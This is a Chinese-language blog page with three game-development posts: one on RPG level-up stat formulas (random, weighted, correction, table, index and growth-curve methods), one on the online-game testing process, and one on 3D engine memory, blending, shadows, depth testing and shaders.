    的上限或是下限都是在这个范围内,绝对不会有意外的情况发生,就算是设计者如何提高上限与下限,都不会
    改变这些。这种作法虽然可以让设计者很轻松的订出升级的上下限,但是却不能控制升级时的不利因素,那就
    是乱数的成份实在是太高了。若是有一名角色因为运气不好一直只有获得下限的升级数值,那麽它可能会比一
    个一次就获得上限升级数值的角色要弱。举例来说,当这个乱数的范围是一到五的时候,若是角色甲和角色乙
    分别获得上限和下限的升级数值,那麽会发生以下的状况:

    ┏ ┳ ┳ ┓  
    角色甲 角色乙  
    ┣ ╋ ╋ ┫  
    LV1 10 10  
    LV2 15 11  
    LV3 20 12  
    LV4 25 13  
    LV5 30 14  
    LV6 35 15  
    ┗ ┻ ┻ ┛

    各位看看上表,是不是可以看到角色甲在第二级时的数值就已经和角色乙第六级的数值是相同了。由於乱数式
    的升级方式会有这种不公平的情况发生,因此常会使得玩者的努力需要有一些运气的成份在里面;若是运气不
    好,可能原本的努力都无法发挥所要的功效。

    由於乱数式的升级方式有这样的缺点,因此有两种不同的改进办法,首先就是百分比制的升级方式。在这一种
    办法里,角色在升级的时候还是使用乱数来进行,不过在每一个数字的出现比例上却做了一些调整。例如同样
    的升级的范围还是从一到五,但是每一个数字的出现比例调整如下:

    ┏ ┳ ┓  
    数值 出现比例  
    ┣ ╋ ┫  
    1 10%  
    2 20%  
    3 40%  
    4 20%  
    5 10%  
    ┗ ┻ ┛

    各位从上表中可以看到,在这一种处理方式上,每一个数字出现的比例做了一些调整。原本的乱数式中,每一
    个数字的出现比例都是相同的,就以上面的例子来说,每个数字出现比例是百分之二时,因此上限和下限的数
    值比较容易出现,发生不幸的情况比较多;但是在这样子调整後,上限和下限的数值出现的机会就减低了不少
    ,会发生不幸的情况就降低了。

    虽然这样的作法可以降低不幸的发生机会,但是还是无法完全的克服所有的状况,因为还是有可能会发生相同
    的状况,使得玩者陷入属性不佳的情况中。因此另外一种改良的方式~修正值升级方式就这麽出现了。

    其实修正值的升级方式和原本的乱数处理法在计算的时候是完全相同的,只不过是它在升级到一个程度的时候
    ,会来做一次计算并且取出一个修正值,以免玩者因为运气不好无法达到升级的功效。

    在这种作法上,上半部和乱数式的做法完全相同,唯一的不同是下半部的副程式。而这个副程式的作用就是在
    帮一些升级时运气比较不好的玩者取得一点修正值。

    我们就以前面所说的升级的数值是从一到五来做个例子,让玩者每升五级时就可以取得一点修正值。因此若是
    一名角色在五次升级中都只有获得一点的升级值,那麽目前它的数值就是:

    10 + 1 + 1 + 1 + 1 + 1 = 15

    不过在我们的升级表内中等的数值是三,因此当角色升了五级之後,应该可以获得以下的数值:

    10 + 3 + 3 + 3 + 3 + 3 = 25

    这麽说来这名角色因为前五级的升级运气不好,因此少获得了十点的升级指数,所以我们就在这一次把这个缺
    少的数值以修正值的方式补足,从修正值的计算式中可以得出:

    25 - 15 = 10

    就将这个数值加到角色的属性中,让角色不会因为运气太差而有不利的情况。若是角色在升级中都获得比较高
    的数值,那麽修正值就是负的,也就表示不需要有修正值的存在了。

    这种作法完全是为了不让玩者因为升级时运气不好使得属性太低,因此只能算是修正部份数值的作法,虽然不
    能完全解决乱数式的问题,但是可以将不利的因素降低,因此在某些游戏里的确有采用这样的作法。

    除了乱数式的作法外,还有一种是表列式的升级方式。在这种升级方式中,每一名角色的升级数值都是设计者
    已经订好的,完全不会有任何的变动。它的好处是设计者可以完全掌控所有的升级状况,但是相对的这样子的
    表格需要占掉较多的程式空间。

    举例来说,某个游戏若是采用这种升级方式,那麽在它的记忆体中就需要有这样子的升级表格。若是游戏中有
    七项属性会获得升级,等级共有一百级的变化,那麽基本上它就需要有七百个不同的数值表放在程式中。若是
    一个数值用了两个位元(BYTE),那麽就需要用到1K左右的记忆体。如果说游戏中有四名角色,它们升级情况
    又都是不同,那麽占掉的记忆体就将近有5K了。这麽算起来各位可能觉得不会很多,但是当这种资料越来越多
    的时候,记忆体的消耗也就越来越多,使得程式的空间也越来越小了。

    由於表列式的作法会使得升级的情况比较单调,因此大多数的游戏并不愿意采用这种作法,再加上这一类的作
    法对於记忆体的占用空间也比较高,因此如果不是必要,大多数都不会用这种作法。

    除了以上这些作法之外,还有一种就是指数型的升级方式。这种作法其实就是表列式的改良,因为它将升级的
    表格简化成一个叁数,在升级的时候就依这个叁数来计算能够获得的升级值。现在我就举一个例子来示范。目
    前有一名角色的属性以及升级指数如下:

    o 生命:10 生命指数:10
    o 法力:10 法力指数:10
    o 力量: 3 力量指数: 2
    o 智慧: 2 智慧指数: 2
    o 反应: 2 反应指数: 2
    o 体能: 4 体能指数: 2
    o 运气: 1 运气指数: 3

    那麽当他获得升级的时候,程式就会依这个升级指数来计算升到下一级时的各项属性值。因此在升了一级之後
    ,各项属性的数值就是以下的数字:

    o 生命:20
    o 法力:20
    o 力量: 5
    o 智慧: 4
    o 反应: 4
    o 体能: 6
    o 运气: 4

    用这种作法,在程式内不需要复杂的升级属性表,只需要几个简单的叁数就可以,若是能将各项叁数之间的关
    系加以变化,并作一些运算,那麽可以使升级时的变化更多。举例来说生命的增加和体能有关,或是法力的增
    加和智慧有关,那麽在计算起来时会有比较多的变化,使得整个升级的表现不会太单纯。

    以上这些作法大部份的变化程度都不会很多,没有办法表现出一个人的成长情况。就像我们有时候会形容一个
    人「大器晚成」或是说他「小时了了」这样子的情况都不能表现出来。因此後来又有一种成长曲线的升级方式
    。在这种升级方式中,我们首先要订出几种不同的升级情况。像是:

    A. 平衡成长
    B. 大器晚成
    C. 小时了了

    要达成这种效果,我们需要将升级的总等级数分成几个阶段。我们以一个可以升到一百级的游戏来说,将每十
    级分成一个区块,就可以订出这三种成长情况各要给它多少的数值。

    其实这种曲线式的升级方式,在处理上和指数式的作法差不多,只不过指数式的作法一个人物每一种属性只会
    有一个数值,这个数值是不会改变的。但是在曲线式的作法中,会依不同阶段有不同的升级指数,才可以造出
    不同的成长情况。我们就以一名「大器晚成」的角色来说,这一类的角色在开始成长的比较慢,但是当人物成
    长到一个阶段後,成长的速度就会加快,因此我们可能在前两个阶段只给他们一点的升级指数,後面几个阶段  
    再给他们较高的升级指数,使这名角色会在游戏後期升得比较快。

    反过来说,若是要设计一名「小时了了」的角色,那麽我们在初期可以给他较高的升级指数,但是到了後期就
    要给它较低的指数,如此一来就可以表现出这样的情况。

    事实上,在游乐器中的「光明与黑暗续战篇」就曾经用过这一种作法,使得游戏中的每个角色都有各自不同的
    特色。特别是有些属於大器晚成的角色,曾经因为初期成长的速度太慢而被玩者抛弃,但是後来知道这名角色
    的特性之後,再回过头来训练的这种情况,正是这种曲线式升级的特色。这种作法使得角色除了单纯的数字属  
    性之外,还增加了一些隐藏的特性,会让游戏更有味道。

    如果以笔者个人的喜好来说,我是比较欣赏曲线式的升级方式,因为这种方式比较可以隐藏角色的特色,也不
    会因为数字的变化太过单调而让玩者觉得过死板。比起乱数式的不定性和升级指数式的单纯来说,这一种作法
    可以说是兼具了两种的特色,同时还有全新的表现,是一种不错的升级方式。只惜目前国内的游戏很少使用这
    种作法,大多还是采用乱数式的作法,对於国内玩游戏的玩者来说,实在是有些可惜,因为大家没有办法体会
    到这种作法的优点。
  • 网络游戏测试过程

    2007-01-07 18:50:59

    游戏测试起因

    近几年来,网络游戏成了网络最新的弄潮儿,从盛大之传奇般的掘起,吸引了无数公司的眼球。但由于随着玩家的品位的升高,代理费用的上升,单一的代理国外游戏的模式已经很难在国内立足,而有中国传统文化特色的网络游戏则在国内大受欢迎,比如剑侠情缘,大话西游等一些国内的精典之作已经进入了一流网游的阵营。与此同时随着大家对网游稳定性,可玩性要求的升高,网络游戏测试开始成为大家关注的话题。

    游戏测试与软件测试的区别

    游戏测试作为软件测试的一部分,它具备了软件测试所有的一切共同的特性:

    • 测试的目的是发现软件中存在的缺陷。
    • 测试都是需要测试人员按照产品行为描述来实施。产品行为描述可以是书面的规格说明书,需求文档,产品文件,或是用户手册,源代码,或是工作的可执行程序。
    • 每一种测试都需要产品运行于真实的或是模拟环境之下。
    • 每一种测试都要求以系统方法展示产品功能,以证明测试结果是否有效,以及发现其中出错的原因,从而让程序人员进行改进。

    总而言之,测试就是发现问题并进行改进,从而提升软件产品的质量。游戏测试也具备了以上的所有特性,不过由于游戏的特殊性,所以游戏测试则主要分为两部分组成,一是传统的软件测试,二游戏本身的测试,由于游戏特别是网络游戏,它相当于网上的虚拟世界,是人类社会的另一种方式的体现,所以也包含了人类社会的一部分特性,同时它又是游戏所以还涉及到娱乐性,可玩性等独有特性,所以测试的面相当的广。 我们称之为游戏世界测试,主要有以下几个特性:

    • 游戏情节的测试,主要指游戏世界中的任务系统的组成,有人也称为游戏世界的事件驱动,我喜欢称为游戏情感世界的测试。
    • 游戏世界的平衡测试,主要表现在经济平衡,能力平衡(包含技能,属性等等),保证游戏世界竞争公平。
    • 游戏文化的测试,比如整个游戏世界的风格,是中国文化主导,还是日韩风格等等,大到游戏整体,小到NPC(游戏世界人物)对话,比如一个书生,他的对话就必需斯文,不可以用江湖语言J。

    游戏测试概述

    很多人有这样一个观点:“就是在软件开发完毕后,再进行测试。”殊不知,这种关点是有悖于软件开发的生命周期的,软件缺陷的发现必须是越早越好,这样才可以有效的规避风险,而在“最后进行测试”的测试观念的指导下测试工作必将会产生很多问题,这种观念的错误在于:生命周期中的“测试阶段”表明在该阶段测试工作是主要的工作,而不是说,测试工作只发生在“测试阶段”。通常,到了测试阶段,测试的主要任务是运行测试,形成测试报告。而想要提高游戏的质量,则必需要做到测试的早期介入,诸如测试计划,测试用例的确定以及测试代码的编写等等都是要在更早的阶段进行。如果你把测试完全放在最后阶段,就错过了发现构架设计和游戏逻辑设计中存在严重问题的最好时机,到那时,要修复这些缺陷将很不方便,因为缺陷已经扩散到系统中去了,所以这样的错误将很难寻找与修复,代价更高。

    要了解如何测试游戏必需了解如何做游戏,了解它的开发过程,才能真正的测好游戏。游戏要成功,其基本的必要条件有三。分别为Vision(设计)、technology(技术)和Process(过程)。三个条件,缺一不可如图所示:

       

    图:游戏开发三大基石

    • Vision则是对游戏还没有实现的总体上的把握,前瞻性的理解与策略的考量。
    • Technology:有了vision,如果没有技术的话,则各种美妙的想法只能停留在虚无缥缈的阶段,通过技术来实现Vision。
    • Process:有了Vision作为指导,有了技术作为保证,也不一定能够把好的想法转换成高质量的游戏。要创造高品质的游戏,尚缺重要的一环,即过程,制造游戏是一个非常是一个长时间的动态过程。游戏产品的质量则是要靠动态过程的动态质量来进行保证。过程由很多复杂的相互牵制的环节与部件组成,如果任意的环节或者是部件出了问题都会对最终的产品形成质量上的影响。因此对这个动态的过程,一定要有规划与控制,以保证按步就班,按质按时完成工作。

    游戏测试与开发过程的关系

    CMM(Software Capability Maturity Model)软件成熟模型,大家都比较熟悉了,但在实施的过程中却存在这样那样的问题,对于游戏开发就更没有一个固定的路可以讲了,我们的团队是一个长期的游戏开发团队,对游戏开发有着很深的认识,我们认为游戏的Process(过程)实际上也是软件过程,不过是特殊的游戏软件开发过程,各个生命周期还是相通的。所以我们总结一套以测试作为质量驱动的、属于自己的开发过程。下图是游戏的迭代式开发过:

       

    图:游戏迭代式开发与测试

    由于网络游戏的生命周期也是3、4年,所以采用迭代式的开发过程,既可以适应网络游戏本身这种长周期的开发,又可以利用RUP的迭代式开发的优点与CMM的里程碑控制,从而达到对游戏产品的全生命周期的保证。

    在游戏开发过程中,通用软件的需求分析阶段被策划所代替,但起的作用是一样的,明确游戏的设计目标(包括风格,游戏玩家群),游戏世界的组成,为后期的程序设计,美工设计,测试提出的明确的要求。由于开发是一个阶段的过程,所以测试与开发的结合就比较容易,从图上我们可以看到测试的工作与游戏的开发是同步进行的,每一个开发阶段中测试都进行了参与,能够深入的了解到系统的整体与大部分的技术细节,从而从很大程度上提高了测试人员对错误问题判断的准确性,并且可以有效的保证重要游戏系统的稳定。

    游戏策划与测试计划

    测试过程不可能在真空中进行。如果测试人员不了解游戏是由那几个部分组成的,那么执行测试就非常的困难,同时测试计划可以明确测试的目标,需要什么资源,进度的安排,通过测试计划,既可以让测试人员了解此次游戏测试中那些是测试重点,又可以与产品开发小组进行交流。在企业开发中,测试计划书来源于需求说明文档,同样在游戏开发过程中,测试计划的来源则是策划书。策划书包含了游戏定位,风格,故事情节,要求的配制等等。在策划评审中我们的高级测试人员可以参与进来,得到详细的游戏策划书,从里面了解到游戏的组成,可玩性,平衡(经济与能力),与形式(单机版还是网络游戏),而我们测试在这一阶段主要的事情就是通过策划书来制定详细的测试计划,主要分两个方面一是游戏程序本身的测试计划,比如任务系统,聊天,组队,地图等等由程序来实现的功能测试计划,二是游戏可玩性有测试计划,比如经济平衡标准是否达到要求,各个门派技能平衡测试参数与方法,游戏风格的测试,三是关于性能测试的计划,比如客户端的要求,网络版的对服务器的性能要求。同时测试计划书中还写明了基本的测试方法,要设计的自动化工具的需求,为后期的测试打下良好的基础。同时由于测试人员参与到策划评审,资深的游戏测试人员与产品经理由于对游戏也有很深入的了解,会对策划提出自己的看法,包含可玩性,用户群,性能要求等等并形成对产品的风险评估分析报告,但这份报告不同于策划部门自己的风险分析报告,主要从旁观者的角度对游戏本身的品质作充分的论证,从而更有效的对策划起到控制的作用。

    游戏设计与测试

    设计阶段是做测试案例设计的最好时机。很多组织要么根本不做测试计划和测试设计,要么在即将开始执行测试之前才飞快地完成测试计划和设计。在这种情况下,测试只是验证了程序的正确性,而不是验证整个系统本该实现的东西。而我们的测试则会很明确,因为我们的测试计划已经写的很明确,需要测试那些游戏系统,但是我们还需要了解系统的组成,而设计阶段则是设计系统的过程,所有的重要系统均是用UML状态图进行了详细的描述,比如用户登陆情况。如图2:

       

    图2用户登陆情况

    在我们的团队中资深的测试人员要具备的一项基本的素质就是可以针对UML的用例图,时序图,状态图来设计出重要系统的测试案例,只有重要系统的质量得到充分的测试,游戏程序的质量才可以得到充分的保证。比如上图中就是一个用户登陆游戏系统的时序图。从这里我们可以很明确的了解玩家是如何验证并登陆系统的,在这个过程中要与那些对象进行交互,比如这里我们就是三个系统之间的交互,客户端(玩家部分),网关,账号服务之间的一个时序变化关系,为了能够完整的对这个流程进行测试,我们必需设计出可以覆盖整个流程的测试案例,并考虑其中可能的非法情况,因为这个时序图只是考虑了用户正常登陆成功的情况,并没有考虑密码错误,通信失败等许多可能存有的情况,并形成完整的测试案例库,从而对登陆系统的系统化测试做了充分的准备。同时通过这张图,性能分析人员还可以分析出可能存的性能瓶颈,比如这里可能有的瓶颈如下,总网关是否可以达到多少用户的并发,是如果达不到,是否可以采用分布式部署或是支持负载平衡,三者之间的网络带宽的比例分配,账号服务器是否可以承载多个网关的连接请求,最大连接请求可以达到多少等等,同时会针对这些风险做性能测试的设计,并提出自动化测试的需求,比如模拟玩家登陆的压力工具等等。

    同时在设计评审时,测试人员的介入可以充分的对当前的系统构架发表自己的意见,由于测试人员的眼光是最苛刻的,并且有多年的测试经验,可以比较早的发现曾经出现的设计上的问题,比如在玩家转换服务器时是否作了事务的支持与数据的校验,在过去设计中由于没有事务支持与数据的校验从而导致玩家数据丢失,而这些风险可以在早期就规避掉。上面所说的是对游戏程序本身的测试设计,对于游戏情节的测试则可以从策划获得,由于前期的策划阶段只是对游戏情节大方向上的描述,并没有针对某一个具体的情节进行设计,进入设计阶段时,某个游戏情节逻辑已经完整的形成了,策划可以给出情节的详细设计说明书,称为任务说明书,通过任务说明书我们可以设计出任务测试案例,比如某一个门派的任务由那些组成,我们可以设计出完整的任务测试案例,从而保证测试可能最大化的覆盖到所有的任务逻辑,如果是简单任务,还可以提出自动化需求,采用机器人自动完成。

    游戏测试与开发

    开发与测试一直有人认为是不可以平行进行的,必需要先开发后测试,但是软件的开发过程又要求测试必须早期介入,但在这里这种矛盾得到了很好的解决。我们采用了每日编译,将测试执行和开发结合在一起,并在开发阶段以编码--测试--编码--测试的方式来体现。也就是说,程序片段一旦编写完成,就会立即进行测试。普通情况下,先进行的测试是单元测试,但是一个程序片段也需要相关的集成测试,甚至有时还需要一些特殊测试。特别是关于接口测试,像游戏程序与任务角本、图片的结合,大家都认为需要提前测试,通过每日编你可以把已经写好的程序片段接合起来,形成部分的集成测试,从而有效的体现的接口优先测试的原则。同时由于软件测试与开发是并行进行的,并且实行的是软件缺陷优先修改的策略,所以很少会出现缺陷后期无法修改的情况,并且由于前期的测试案例的设计与自动化工具的准备,我们不需要投入太多的人力就可以极高的保证游戏软件的产品质量,特别是重要系统的质量。由于我们的游戏程序是每日不断的完善,所以集成测试也在同步的进行之中,当开发进入最后阶段时,集成测试也同步的完成了。这里有一个原则,也就是我前面所说的,测试的主体方法和结构应在游戏设计阶段完成,并在开发阶段进行补充(比如在游戏开发中会有相应的变动,或是某个转移变地址的变化,这就需要实时的更新)。这种方法会对基于代码的测试(开发阶段与集成阶段)产生很重要的影响,但是不管在那个阶段,如果在执行前多做一点计划和设计,都会大幅度的提高测试效率,改善测试结果,同时还有利于测试案例的重用与测试数据的分析,所以我们的测试计划是在策划时就形成了,为后继的测试形成了良好的基础。

    集成测试阶段

    集成测试是对整个系统的测试。由于前期测试与开发的并行,集成测试已经基本完成,这时只需要对前期在设计阶段中设计的系统测试案例运行一下就OK了。我们主要的重心在集成测试中的兼容性测试,由于游戏测试的特殊性,对兼容性的要求特别高,所以我们采用了外部与内部同部进行的方式,内部我们有自己的平台试验室,搭建主流的硬软件测试环境,同时我们还通过一些专业的兼容性测试机构对我们的游戏软件做兼容性分析,让我们的游戏软件可以跑在更多的机器上。

    游戏可玩性测试

    游戏可玩性测试也是非常重要的一块,主要包含四个方面:

    • 游戏世界的搭建,包含聊天功能,交易系统,组队等可以让玩家在游戏世界交互的平台。
    • 游戏世界事件的驱动,主要指任务。
    • 游戏世界的竞争与平衡。
    • 游戏世界文化蕴涵,游戏的风格与体现。

    这种测试主要体现在游戏可玩性方面,虽然策划时我们对可玩性作了一定的评估,但这是总体上的,但一些具体的涉及到某个数据的分析,比如PK参数的调整,技能的增加等一些增强可玩性的测试则需要职业玩家对它进行分析,这里我们主要通过三种方式来进行:

    • 内部的测试人员,他们都是精选的职业玩家分析人员,对游戏有很深的认识,在内部测试时,对上面的四点进行分析。
    • 利用外部游戏媒体专业人员对游戏作分析与介绍,既可以达到宣传的效果,又可以达到测试的目的,通常这种方式是比较好的。
    • 利用外部一定数量的玩家,对外围系统的测试,他们是普通的玩家,但却是我们最主要的目标,主要的来源是大中院校的学生等等,主要测试游戏的可玩性与易用性,发现一些外围的Bug。

    游戏进入到最后阶段时,还要做内测,公测,有点像应用软件的beta版的测试,让更多的人参与测试,测试大量玩家下的运行情况。

    可玩性测试是游戏重要的一块,只有玩家的认同,我们才可能成功。

    性能测试与优化

    最后要单独提一下的是性能优化,在单机版的时代,性能的要求并不是很高,但是在网络版的时代,则是两个完全不同的概念,主要包含了以下几个方面:应用在客户端性能的测试、应用在网络上性能的测试和应用在服务器端性能的测试。通常情况下,三方面有效、合理的结合,可以达到对系统性能全面的分析和瓶颈的预测。不过在测试过程中有这样一个原则,就是由于测试是在集成测试完成或接近完成时进行,要求测试的功能点能够走通,这时你首先要进行优化的是数据库或是网络本身的配制,只有这样才可以规避改动程序的风险。同时性能的测试与优化是一个逐步完善的过程,需要前期的很多的工作,比如性能需求,测试工具等等,不过由于前期工作的完善,这些都在前期完成了。这里我只做原则性的描述。

    数据库的优化的原则主要是这样的,首先是索引进行优化,由于索引的优化不需要对表结构进行任何改动,是最简单的一种,又不需要改动程序就可能提升性能若干倍,不过要注意的是索引不是万能的,若是无限的增加会对增删改造成很大的影响。其次是对表,视图,存储过程的优化。不过在分析之前需要知道优化的目标,客户行为中那些SQL是执行的最多的,所以我们必需借助些SQL的跟踪分析工具,例如SQLProfile,SQLExpert,等工具,这样会迅速的定位问题。

    关于网络的优化,这里我所说的并不是针对网络本身的优化,而是对游戏本身的网络通信的优化,所以它是与程序的优化是结合在一起的,首先也是发现问题,通过Monitor与Sniff先定位是什么应用占用了较多的网络流量,由于网络游戏的用户巨大,所以这也是一个重在的问题。对于程序的性能优化,最主要的是找到运行时间最长的函数,只有优化它,性能才有大幅度的提升,具体的方法我就不做详细的描述了。

    总述

    游戏测试是一个新的领域,它既有通用测试的特点,又有自己的特点,有许多未知的路要走,每天都在总结,希望给大家带来一些帮助,同时在这里也谢谢所有支持我的同事。

  • 游戏引擎剖析(三)

    2007-01-07 16:01:55

    第3部份: 内存使用,特效和API


    关于内存使用的思考
      让我们想一想,在今天实际上是如何使用3D 显卡内存的以及在将来又会如何使用。 如今绝大多数3D显卡处理32位像素颜色,8位红色, 8位蓝色,8 位绿色,和 8 位透明度。这些组合的红,蓝和绿256个色度,可以组成 16。7 百万种颜色-- 那是你我可以在一个监视器上看见的所有颜色。 

      那么,游戏设计大师John Carmack 为什么要求 64 位颜色分辨率呢? 如果我们看不出区别,又有什么意义呢? 意义是: 比如说, 有十几个灯光照射模型上的点,颜色颜色各不相同。 我们取模型的最初颜色,然后计算一个灯光的照射,模型颜色值将改变。 然后我们计算另外的一个灯光, 模型颜色值进一步改变。 这里的问题是,因为颜色值只有8位,在计算了4个灯光之后,8位的颜色值将不足以给我们最后的颜色较好的分辨率和表现。分辨率的不足是由量化误差导致的,本质原因是由于位数不足引起的舍入误差。 

      你能很快地用尽位数,而且同样地,所有的颜色被清掉。每颜色16 或 32 位,你有一个更高分辨率,因此你能够反复着色以适当地表现最后的颜色。这样的颜色深度很快就能消耗大量的存储空间。我们也应提到整个显卡内存与纹理内存。这里所要说的是,每个3D 显卡实际只有有限的内存,而这些内存要存储前端和后端缓冲区,Z 缓冲区,还有所有的令人惊奇的纹理。最初的 Voodoo1 显卡只有2MB显存,后来 Riva TNT提高到16MB显存。然后 GeForce 和 ATI Rage有32MB显存, 现在一些 GeForce 2 到 4的显卡和 Radeons 带有 64MB 到128MB 的显存。 这为什么重要? 好吧,让我们看一些数字…

      比如你想让你的游戏看起来最好,所以你想要让它以32位屏幕, 1280x1024分辨率和32位 Z- 缓冲跑起来。 好,屏幕上每个像素4个字节,外加每个像素4字节的Z-缓冲,因为都是每像素32位。我们有1280x1024 个像素 – 也就是 1,310,720个像素。基于前端缓冲区和Z-缓冲区的字节数,这个数字乘以8,是 10,485,760字节。包括一个后端缓冲区,这样是 1280x1024x12, 也就是 15,728,640 字节, 或 15MB。 在一个 16MB 显存的显卡上,就只给我们剩下1MB 来存储所有的纹理。 现在如果最初的纹理是真32 位或 4字节宽,那么我们每幀能在显卡上存储 1MB/4字节每像素 = 262,144个像素。这大约是4 个 256x256 的纹理页面。 

      很清楚,上述例子表明,旧的16MB 显卡没有现代游戏表现其绚丽画面所需要的足够内存。很明显,在它绘制画面的时候,我们每幀都必须重新把纹理装载到显卡。实际上,设计AGP总线的目的就是完成这个任务,不过, AGP 还是要比 3D 掀卡的幀缓冲区慢,所以你会受到性能上的一些损失。很明显,如果纹理由32位降低到16位,你就能够通过AGP以较低的分辨率传送两倍数量的纹理。如果你的游戏以每个像素比较低的色彩分辨率跑, 那么就可以有更多的显示内存用来保存常用的纹理 (称为高速缓存纹理) 。 但实际上你永远不可能预知使用者将如何设置他们的系统。如果他们有一个在高分辨率和颜色深度跑的显卡,那么他们将会更可能那样设定他们的显卡。



      我们现在开始讲雾,它是某种视觉上的效果。如今绝大多数的引擎都能处理雾, 因为雾非常方便地让远处的世界淡出视野,所以当模型和场景地理越过观察体后平面进入视觉范围内时,你就不会看见它们突然从远处跳出来了。 也有一种称为体雾的技术。这种雾不是随物体离照相机的距离而定,它实际上是一个你能看见的真实对象,并且可以穿越它,从另外一侧出去 -- 当你在穿越对象的时候,视觉上雾的可见程度随着变化。想象一下穿过云团 -- 这是体雾的一个完美例子。体雾的一些好的实现例子是Quake III一些关卡中的红色雾,或新的Rogue Squadron II 之 Lucas Arts的 GameCube 版本。其中有一些是我曾经见过的最好的云--大约与你能看见的一样真实。

      在我们讨论雾化的时候,可能是简短介绍一下 Alpha 测试和纹理Alpha混合的好时机。当渲染器往屏幕上画一个特定像素时,假定它已经通过 Z- 缓冲测试 (在下面定义),我们可能最后做一些Alpha测试。我们可能发现为了显示像素后面的某些东西,像素需要透明绘制。这意味着我们必须取得像素的已有值,和我们新的像素值进行混和,并把混合结果的像素值放回原处。这称为读-修改-写操作,远比正常的像素写操作费时。 

      你可以用不同类型的混合,这些不同的效果被称为混合模式。直接Alpha混合只是把背景像素的一些百分比值加到新像素的相反百分比值上面。还有加法混合,将旧像素的一些百分比,和特定数量(而不是百分比)的新像素相加。 这样效果会更加鲜明。 (Kyle's Lightsaber在 Jedi Knight II 中的效果)。
     
      每当厂商提供新的显卡时,我们可以得到硬件支持的更新更复杂的混合模式,从而制作出更多更眩目的效果。GF3+4和最近的Radeon显卡提供的像素操作,已经到了极限。


    模板阴影与深度测试
      用模板产生阴影效果,事情就变得复杂而昂贵了。这里不讨论太多细节(可以写成一篇单独的文章了),其思想是,从光源视角绘制模型视图,然后用这个把多边形纹理形状产生或投射到受影响的物体表面。 

      实际上你是在视野中投射将会“落”在其他多边形上面的光体。最后你得到看似真实的光照,甚至带有视角在里面。因为要动态创建纹理,并对同一场景进行多遍绘制,所以这很昂贵。 

      你能用众多不同方法产生阴影,情形时常是这样一来,渲染质量与产生效果所需要的渲染工作成比例。有所谓的硬阴影或软阴影之分,而后者较好,因为它们更加准确地模仿阴影通常在真实世界的行为。 通常有一些被游戏开发者偏爱的“足够好”的方法。如要更多的了解阴影,请参考 Dave Salvator的 3D 流水线一文。


    深度测试
      现在我们开始讨论深度测试, 深度测试丢弃隐藏的像素,过度绘制开始起作用。过度绘制非常简单 – 在一幀中,你数次绘制一个像素位置。它以3D场景中Z(深度)方向上存在的元素数量为基础,也被称为深度复杂度。如果你常常太多的过度绘制, -- 举例来说, 符咒的眩目视觉特效,就象Heretic II,能让你的幀速率变得很糟糕。当屏幕上的一些人们彼此施放符咒时,Heretic II设计的一些最初效果造成的情形是,他们在一幀中对屏幕上每个相同的像素画了40次! 不用说,这必须调整,尤其是软件渲染器,除了将游戏降低到象是滑雪表演外,它根本不能处理这样的负荷。深度测试是一种用来决定在相同的像素位置上哪些对象在其它对象前面的技术,这样我们就能够避免绘制那些隐藏的对象。 

      看着场景并想想你所看不见的。 换句话说,是什么在其他场景对象前面,或者隐藏了其他场景对象? 是深度测试作出的这个决定。 

      我将进一步解释深度深度如何帮助提高幀速率。想像一个很琐细的场景,大量的多边形 (或像素)位于彼此的后面,在渲染器获得他们之间没有一个快速的方法丢弃他们。对非Alpha混合的多边形分类排序( 在Z- 方向上),首先渲染离你最近的那些多边形,优先使用距离最近的像素填充屏幕。所以当你要渲染它们后面的像素(由Z或者深度测试决定)时,这些像素很快被丢弃,从而避免了混合步骤并节省了时间。如果你从后到前绘制,所有隐藏的对象将被完全绘制,然后又被其他对象完全重写覆盖。场景越复杂,这种情况就越糟糕,所以深度测试是个好东西。


    抗锯齿
      让我们快速的看一下抗锯齿。当渲染单个多边形时,3D 显卡仔细检查已经渲染的,并对新的多边形的边缘进行柔化,这样你就不会得到明显可见的锯齿形的像素边缘。两种技术方法之一通常被用来处理。 第一种方法是单个多边形层次,需要你从视野后面到前面渲染多边形,这样每个多边形都能和它后面的进行适当的混合。如果不按序进行渲染,最后你会看见各种奇怪的效果。在第二种方法中,使用比实际显示更大的分辩率来渲染整幅幀画面,然后在你缩小图像时,尖锐的锯齿形边缘就混合消失了。这第二种方法的结果不错,但因为显卡需要渲染比实际结果幀更多的像素,所以需要大量的内存资源和很高的内存带宽。

      多数新的显卡能很好地处理这些,但仍然有多种抗锯齿模式可以供你选择,因此你可以在性能和质量之间作出折衷。对於当今流行的各种不同抗锯齿技术的更详细讨论请参见Dave Salvator 的3D 流水线一文。


    顶点与像素着色
      在结束讨论渲染技术之前,我们快速的说一下顶点和像素着色,最近它们正引起很多关注。顶点着色是一种直接使用显卡硬件特征的方式,不使用API。举例来说,如果显卡支持硬件 T & L ,你可以用DirectX或OpenGL编程,并希望你的顶点通过 T & L 单元 (因为这完全由驱动程序处理,所以没有办法确信),或者你直接利用显卡硬件使用顶点着色。它们允许你根据显卡自身特征进行特别编码,你自己特殊的编码使用T & L 引擎,以及为了发挥你的最大优势,显卡必须提供的其他别的特征。 事实上,现在nVidia 和ATI 在他们大量的显卡上都提供了这个特征。 

      不幸的是,显卡之间表示顶点着色的方法并不一致。你不能象使用DirectX或者OpenGL 那样,为顶点着色编写一次代码就可以在任何显卡上运行,这可是个坏消息。然而,因为你直接和显卡硬件交流,它为快速渲染顶点着色可能生成的效果提供最大的承诺。( 如同创造很不错的特效 -- 你能够使用顶点着色以API没有提供的方式影响事物)。事实上,顶点着色正在真的将3D 图形显示卡带回到游戏机的编码方式,直接存取硬件,最大限度利用系统的必须知识,而不是依靠API来为你做一切。对一些程序员来说,会对这种编码方式感到吃惊,但这是进步代价。

      进一步阐述,顶点着色是一些在顶点被送到显卡渲染之前计算和运行顶点效果程序或者例程。你可以在主CPU上面用软件来做这些事情,或者使用显卡上的顶点着色。 为动画模型变换网格是顶点程序的主选。

      像素着色是那些你写的例程,当绘制纹理时,这些例程就逐个像素被执行。你有效地用这些新的例程推翻了显卡硬件正常情况做的混合模式运算。这允许你做一些很不错的像素效果, 比如,使远处的纹理模糊,添加炮火烟雾, 产生水中的反射效果等。一旦 ATI 和 nVidia 能实际上就像素着色版本达成一致( DX9's 新的高级阴影语言将会帮助促进这一目标), 我一点不惊讶DirectX 和OpenGL采用Glide的方式-- 有帮助开始, 但最终不是把任何显卡发挥到极限的最好方法。我认为我会有兴趣观望将来。


    最后(In Closing...)
